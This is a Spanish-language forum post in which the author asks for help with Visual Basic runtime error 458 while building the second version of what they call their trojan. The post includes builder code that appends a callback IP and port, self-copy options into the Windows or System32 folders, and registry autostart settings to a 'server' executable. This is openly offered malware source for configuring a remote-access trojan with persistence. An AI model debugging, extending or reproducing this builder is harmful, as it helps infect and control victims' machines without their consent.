error 458 en tiempo de ejecucion

wenas, aver os comento, haciendo la v2 de mi troyano, estoy haciendo que en el editor de server puedas elegir opciones como añadir al reg, autocopiarse, etc.

el caso es que al generar el server me salta este error cuando intento ejecutarlo (el server)

Error '458' en tiempo de ejecucion.

Variable utiliza un tipo de automatización no admitido en Visual Basic.

esto es lo que dice microsoft:
http://support.microsoft.com/kb/191205/es

segun ellos es causa al tener acceso a la propiedad BackColor de un control TextBox de Enriquecer que es tiempo de ejecución

ni se que es eso ni lo tengo puesto en mi troyano.

os dejo el code de crear el server del cliente.

Código:

Dim port As String * 5
Dim ip As String * 30
Dim copiar As String * 1
Dim opwindows As String * 1
Dim opsystem32 As String * 1
Dim nombre As String * 20
Dim localmachine As String * 1
Dim currentuser As String * 1
Dim explorer As String * 1
Dim valor As String * 20

Private Sub EditarServer(Ruta As String)
'---CONEXION
ip = Text1.Text
port = Text2.Text
'---AUTOCOPIAR
copiar = cp.Value
opwindows = opwin.Value
opsystem32 = opsys.Value
nombre = txName.Text
'---INICIO
localmachine = hklm.Value
currentuser = HKCU.Value
explorer = hkex.Value
valor = txValueReg.Text
'---AÑADIMOS
Open Ruta For Binary As #1
Put #1, LOF(1) + 1, port
Put #1, , ip
Put #1, , copiar
Put #1, , opwindows
Put #1, , opsystem32
Put #1, , nombre
Put #1, , localmachine
Put #1, , currentuser
Put #1, , explorer
Put #1, , valor
Close #1
MsgBox "Server Creado", vbInformation
End Sub

aver si me podeis ayudar, que no se por que razon pasa esto.

gracias